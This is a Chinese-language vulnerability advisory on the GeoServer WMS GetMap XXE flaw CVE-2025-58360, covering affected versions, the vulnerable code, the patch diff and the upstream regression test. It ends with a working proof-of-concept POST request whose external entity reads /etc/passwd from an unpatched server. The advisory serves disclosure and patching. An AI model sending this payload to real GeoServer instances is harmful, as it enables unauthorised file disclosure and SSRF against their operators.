文章总结: GeoServerWMSGetMap端点存在XXE漏洞CVE-2025-58360,因解析SLD/XML时未禁用外部实体扩展,攻击者无需认证即可通过恶意POST请求读取本地文件或发起SSRF攻击。受影响版本包括2.26.0至2.26.2和2.25.6之前版本,漏洞根源在于代码中第四个参数为null导致使用默认XML解析器,修复方案为注入安全实体解析器。文档提供了代码补丁对比和PoC验证方法。 综合评分: 88 文章分类: 漏洞分析,漏洞预警,漏洞POC,应用安全,WEB安全
GeoServer WMS GetMap XML 外部实体注入漏洞(CVE-2025-58360)
Ots安全
2026年3月24日 14:33 广东
威胁简报
恶意软件
漏洞攻击
1. 漏洞描述
GeoServer 是一个开源的地理空间服务器,用于通过标准化的 OGC 接口发布和共享空间数据和地图服务。
在受影响的版本中,WMS GetMap 端点在解析 SLD/XML 文档时无法禁用外部实体扩展。攻击者可以发送精心构造的 POST 请求,其中包含恶意 XML 和声明/geoserver/wms,从而导致 XML 解析器访问本地文件系统路径或内部网络资源。此漏洞无需身份验证即可利用,并可能导致任意文件泄露或 SSRF 攻击。
2. 受影响的版本
- geoserver [2.26.0, 2.26.2)
- geoserver [*, 2.25.6)
- org.geoserver.web:gs-web-app [2.26.0, 2.26.2)
- org.geoserver.web:gs-web-app [*, 2.25.6)
- org.geoserver:gs-wms [2.26.0, 2.26.2)
- org.geoserver:gs-wms [*, 2.25.6)
3. 漏洞详情及代码分析
修复提交:
https://github.com/geoserver/geoserver/commit/e874ced5a6fb4b441b7b075d30e5214ca6ad03e6
受影响的文件:
src/wms/src/main/java/org/geoserver/sld/SLDXmlRequestReader.java
漏洞代码(补丁前)
StyledLayerDescriptor sld = Styles.handler(getMap.getStyleFormat()) .parse(reader, getMap.styleVersion(), null, null);
第四个参数为空null,表示未配置实体解析器。
在这种情况下,底层 GeoTools StyleHandler 将使用默认的 XML 解析器行为,即:
- 允许 DOCTYPE 声明
- 允许外部实体引用(SYSTEM “file://” / “http://”)
- 自动展开外部实体
这会导致典型的 XXE 漏洞。
已修复代码(修复后)
在已打补丁的版本中,GeoServer 注入了一个安全的实体解析器:
String styleFormat = getMap.getStyleFormat();StyleHandler styleParser = Styles.handler(styleFormat);Version styleVersion = getMap.styleVersion();EntityResolver entityResolver = wms.getCatalog().getResourcePool().getEntityResolver();
StyledLayerDescriptor sld = styleParser.parse(reader, styleVersion, null, entityResolver);
安全解析器可防止外部实体扩展,从而完全缓解 XXE 问题。
补丁差异摘录:
@Override- public Object read(Object request, Reader reader, Map kvp) throws Exception {+ public Object read(Object request, Reader reader, @SuppressWarnings("rawtypes") Map kvp) throws ServiceException { if (request == null) { throw new IllegalArgumentException("request must be not null"); } try { GetMapRequest getMap = (GetMapRequest) request;- StyledLayerDescriptor sld =- Styles.handler(getMap.getStyleFormat()).parse(reader, getMap.styleVersion(), null, null);+ String styleFormat = getMap.getStyleFormat();+ StyleHandler styleParser = Styles.handler(styleFormat);++ Version styleVersion = getMap.styleVersion();++ EntityResolver entityResolver = wms.getCatalog().getResourcePool().getEntityResolver();
+ StyledLayerDescriptor sld = styleParser.parse(reader, styleVersion, null, entityResolver);
// process the sld sld.accept(new ProcessStandaloneSLDVisitor(wms, getMap));- // GetMapKvpRequestReader.processStandaloneSld(wms, getMap, sld);
4. 概念验证 (PoC)
官方提交内容还包含一个专门演示该漏洞的测试用例。以下
是测试套件中的一个示例:
@Test public void testGetMapSldXXE() throws Exception { String path = "/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"; String body = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" + "<!DOCTYPE StyledLayerDescriptor [\n" + "<!ENTITY xxe SYSTEM \"file:///some/file\">]>\n" + "<StyledLayerDescriptor version=\"1.0.0\">\n" + "<NamedLayer><Name>&xxe;</Name></NamedLayer>\n" + "</StyledLayerDescriptor>";
Logging.getLogger("geoserver.ows").setLevel(Level.OFF); MockHttpServletResponse response = super.postAsServletResponse(path, body); assertEquals(200, response.getStatus()); super.assertContentType("application/vnd.ogc.se_xml", response); assertThat(response.getContentAsString(), containsString("Entity resolution disallowed for file")); }
PoC请求
POST /geoserver/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90 HTTP/1.1Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd">]><StyledLayerDescriptor version="1.0.0"> <NamedLayer> <Name>&xxe;</Name> </NamedLayer></StyledLayerDescriptor>
向未打补丁的 GeoServer 实例提交此请求会导致服务器返回 的内容/etc/passwd,从而确认通过 XXE 进行任意文件泄露。
END
公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址
排版 编辑 | Ots 小安
采集 翻译 | Ots Ai牛马
公众号 | AnQuan7 (Ots安全)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Ots安全 《GeoServer WMS GetMap XML 外部实体注入漏洞(CVE-2025-58360)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论